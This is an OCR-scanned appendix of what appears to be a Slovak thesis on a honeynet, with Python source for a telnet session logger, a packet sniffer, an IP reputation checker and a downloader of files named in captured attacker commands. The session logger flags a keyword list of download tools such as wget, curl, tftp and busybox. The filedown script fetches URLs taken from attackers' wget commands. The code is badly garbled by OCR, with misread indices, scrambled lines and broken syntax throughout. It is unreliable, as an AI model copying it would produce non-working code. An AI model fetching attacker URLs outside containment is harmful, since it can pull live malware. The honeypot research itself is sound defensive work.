@staticmethod

def write session_ string(Src, Dst, SPort, DPort, text string):
Sessions.create session(Src, Dst, SPort, DPort)
i=20
while i < len(Sessions.sessions):

if Src == Sessions.sessions[i][0] and Dst ==
Sessions.sessions[1][1] and \

SPort == Sessions.sessions[i][2] and DPort ==
Sessions.sessions([i] [3]:

Sessions.sessions[i] [4].append(text string.rstrip("\n"))
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Sessions.sessions[i] [5]

Sessions.sessions[i] [5] +

1
if "\r" in text string:
s = '"'.join(Sessions.sessions[1][4])
down = 0

if "wget" in s or "echo" in s or "ftp"

"sftp" in s or "tftp" in s or \

"curl" in s or "scp"

"bin" in s or "ftpget" in s:

down = 1

db.saveTelnetCommand (re.sub('\.\."', '

re.sub('\.[0]+", '.', \

in s or "busybox"

Sessions.sessions[1] [0]) .1lstrip("0™)),

Sessions.sessions[1][2].1lstrip("0"), \
re.sub ("\.\.', '.0."

Sessions.sessions[1
repr(s.rstrip("\r") .strip("'") .strip(""

Sessions.sessions[1][1]).1lstrip("0")), \
]

Sessions.sessions[1]

Sessions.sessions[1]

Sessions.sessions[1]
i=1i+1

7

[
)
[
[
[

re.sub ('"\.[0]+",

].1lstrip("0"),
\

1, down)
] =11
]

3
)
5
4
5] =0

try:
for line in iter (proc.stdout.readline,'"'):
rozdel = line.split(":", 1)
st = rozdel[0].split ("-", 1)
source = st[0]
target = st[-1]
s = source.rsplit(".", 1)

sport = s[-1]

source = s[0]

d = target.rsplit(".", 1)
dport = d[-1]

target = d[0]

slovo = rozdel[-1][1:]

in s or

in s or

.0.

A}

Sessions.write session string(source, target, sport,

slovo)
except KeyboardInterrupt:
print "\n[*] Shutting Down..."

L}

4

]
4

dport,
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Priloha B: Zdrojovy kod programu sniff.py

#! /usr/bin/python

from scapy.all import *

from scapy.layers import http
from irc import *

import sys

import dbhoney

import time

import datetime

import conf

SYN = 0x02

ACK = 0x10

dns codes = {1 : "A"™, 28 : "AAAA", 5 : "CNAME", 15 : "MX", 12
" PTR" }

fnamedatetimestart = ""
ts = time.time ()

fnamedatetimestart =
datetime.datetime.fromtimestamp (ts) .strftime ('$Y %m %d %SH %M %S')

pkts = []
iter = 0

def querysniff (pkt):

global pkts

global iter

global pcapnum

global fnamedatetimestart

pkts.append (pkt)

iter += 1

if IP in pkt:
ip_src pkt[IP].src
ip dst = pkt[IP].dst

if pkt.haslayer (DNS) and pkt.getlayer (DNS).qr == 0 and
(pkt.getlayer (DNS) .qgd.gtype == 1 \

or pkt.getlayer (DNS).qgd.gtype == 5 or
pkt.getlayer (DNS) .gd.gtype == 15):

db.saveDNS (str (ip_src), str(ip dst),
str (pkt.getlayer (DNS) .gd.gname) [:=1], None, \

dns_ codes.get (pkt.getlayer (DNS) .qd.qgtype,
pkt.getlayer (DNS) .qgd.gtype), 0)

if pkt.haslayer (DNSRR) and (pkt.getlayer (DNSRR) .type ==
or pkt.getlayer (DNSRR) .type == 5 \

or pkt.getlayer (DNSRR) .type == 15):
dns = pkt['DNS']
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for 1 in range(dns.ancount) :
dnsrr = dns.an[i]

db.saveDNS (str (ip_src), str(ip dst),
str(dnsrr.rrname) [:-1], dnsrr.rdata, \

dns codes.get (dnsrr.type, dnsrr.type), 1)
if pkt.haslayer ('HTTPRequest') :
HTTPRQ = pkt.getlayer (4)

db.saveHTTPRequest (str (ip_src),
str (pkt.getlayer (TCP) .sport), str(ip dst), \

str (pkt.getlayer (TCP) .dport), str (HTTPRQ.Method),
str (HTTPRQ.Path), str (HTTPRQ.Host), \

str (HTTPRQ.getfieldval ('User-Agent')))
if pkt.haslayer ('HTTPResponse') :
HTTPRR = pkt.getlayer (4)

db.saveHTTPResponse (str (ip src),
str (pkt.getlayer (TCP) .sport), str(ip dst),
str (pkt.getlayer (TCP) .dport), \

str (HTTPRR.getfieldval ('Status-Line')),
str (HTTPRR.getfieldval ('Location')), \

str (HTTPRR.getfieldval ('Server')),
str (HTTPRR.getfieldval ('Content-Length')), \

str (HTTPRR.getfieldval ('Content-Type')))
if pkt.haslayer ('IRC'):

db.saveIRC(str (ip_src), str(pkt.getlayer (TCP) .sport),
str(ip_dst), \

str (pkt.getlayer (TCP) .dport),
str (pkt.getlayer ('IRC') .Prefix), \

str (pkt.getlayer ('IRC') .Command),
str (pkt.getlayer ('IRC') .Parameter), \

str(pkt.getlayer ('IRC') .Trailer))
if pkt.haslayer (TCP) :
F = pkt.getlayer (TCP) .flags
if (F & SYN and F & ACK) or (F & SYN and not F & ACK):

db.saveConnection (str (ip_src),
str (pkt.getlayer (TCP) .sport), \

str(ip _dst), str(pkt.getlayer (TCP) .dport),
str ("TCP"))

if pkt.haslayer (UDP) and (pkt.getlayer (UDP) .dport != 53 and

pkt.getlayer (UDP) .sport != 53):
db.saveConnection (str (ip_src),
str (pkt.getlayer (UDP) .sport), \
str(ip_dst), str(pkt.getlayer (UDP) .dport), str ("UDP"))
if iter == 1000:
ts = time.time ()
fnamedatetimestop =
datetime.datetime.fromtimestamp (ts) .strftime ('$Y %m %d %SH %M %S')

[o)

pname = "$spcaps/honeypcap%s:%s.pcap" % (conf.pcaps,
fnamedatetimestart, fnamedatetimestop)
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fnamedatetimestart =
datetime.datetime.fromtimestamp (ts) .strftime ('$Y %m %d SH %M %S')

wrpcap (pname, pkts)
pkts []
iter = 0

db = dbhoney.DBhoney ()

sniff(iface = conf.interface, filter ="
".join(conf.snifffilter list), prn = querysniff, store = 0)
if len(pkts) > O0:

ts = time.time ()

fnamedatetimestop =
datetime.datetime.fromtimestamp (ts) .strftime ('$Y %m %d SH %M %S')

[o)

pname = "$spcaps/honeypcap%s:%s.pcap" % (conf.pcaps,
fnamedatetimestart, fnamedatetimestop)

fnamedatetimestart =
datetime.datetime.fromtimestamp (ts) .strftime ('$Y %m %d %SH %M %S')

wrpcap (pname, pkts)

pkts = []

iter = 0

print "\n[*] Shutting Down..."
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Priloha C: Zdrojovy kod programu collectip.py

#! /usr/bin/python

import dbhoney

from geoip import geolite2
import conf

import re

import requests

def collect():
db = dbhoney.DBhoney ()
ips_array = db.getAllIP()
country = ""
continent = ""
lat = ""
long = ""

timezone =

for ip in ips_array:

ip s = str(ip)

ip ¢ = re.sub('\.\."', '.0.', re.sub('\.[0]+"', '.',
ip s).lstrip("0"))

country = ""

continent = ""

lat = ""

long = ""

timezone = ""

if ip ¢ not in conf.ips and not db.existsIP(ip c):
try:
match = geolite2.lookup (ip_c)
if match is not None:
country = match.country
continent = match.continent
lat = match.location[0]
long = match.location[1]
timezone = match.timezone
except ValueError as e:
print str(e)

pass

r = requests.get ('http://api.moocher.io/badip/%s'
ip_c)

status = 0

if r.status_code == requests.codes.ok:

status = 1

db.savelIP(ip ¢, status, str(country), str(lat),

str(long), str(timezone), str(continent))

[o)

o
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if

__name_ == " main

collect ()
print "IP check ended

pren
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Priloha D: Zdrojovy kod programu filedown.py

#! /usr/bin/python

import urllib
import re
import uuid
import os.path
import conf
import socket
import dbhoney
import hashlib

def mdb (fname) :
hash md5 = hashlib.md5 ()
with open (fname, "rb") as f:
for chunk in iter(lambda: f.read(4096), b""):
hash md5.update (chunk)
return hash md5.hexdigest ()

def down wget (s):
socket.setdefaulttimeout (30)
c = re.findall ("wget[";]1*;", s)
if c:

for i in c:

cc = re.search ("http[®; 1*", 1)

if cc:
url = cc.string[cc.start () :cc.end() ]
id = uuid.uuid4 ()
try:

urllib.urlretrieve (url, filename=conf.files +

"files/" + str(id))
except:
pass

if os.path.isfile(conf.files + "files/" + str(id)):

hash = md5 (conf.files + "files/" + str(id))
return str(id), url, hash

return None

if name == " main ":
db = dbhoney.DBhoney ()
commands = db.getCommands ()

for src, comm in commands:
if "wget" in comm:

res = down_wget (comm)

if res is not None and not db.existsFile(src, res[l],

res[2]) :

81



db.saveFiles (src, res[l], res[0], res[2])
print "Finished!!"
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Priloha E: DVD médium

Obsah DVD média:

Prirucka s ndzvom Navod na inStalédciu honeynetu.

Adresar s archivom webovych zdrojov.

Adresar honeynet, obsahujici vSetky naSe programy a virtudlne stroje
a nastavenia firewallu.

Adresar 81c¢4603681c46036 obsahujuci zozbierané udaje o utoku.

Adresar mirai obsahujuci zozbierané udaje o Mirai tGtoku.

Adresar databazy obsahujtci vSetky nase zozbierané aj testovacie databazy.
Adresar files obsahujuci zozbierané subory.

Adresar pcaps obsahujtici subory pcap, ktoré sa ndm podarilo ulozit’.

83



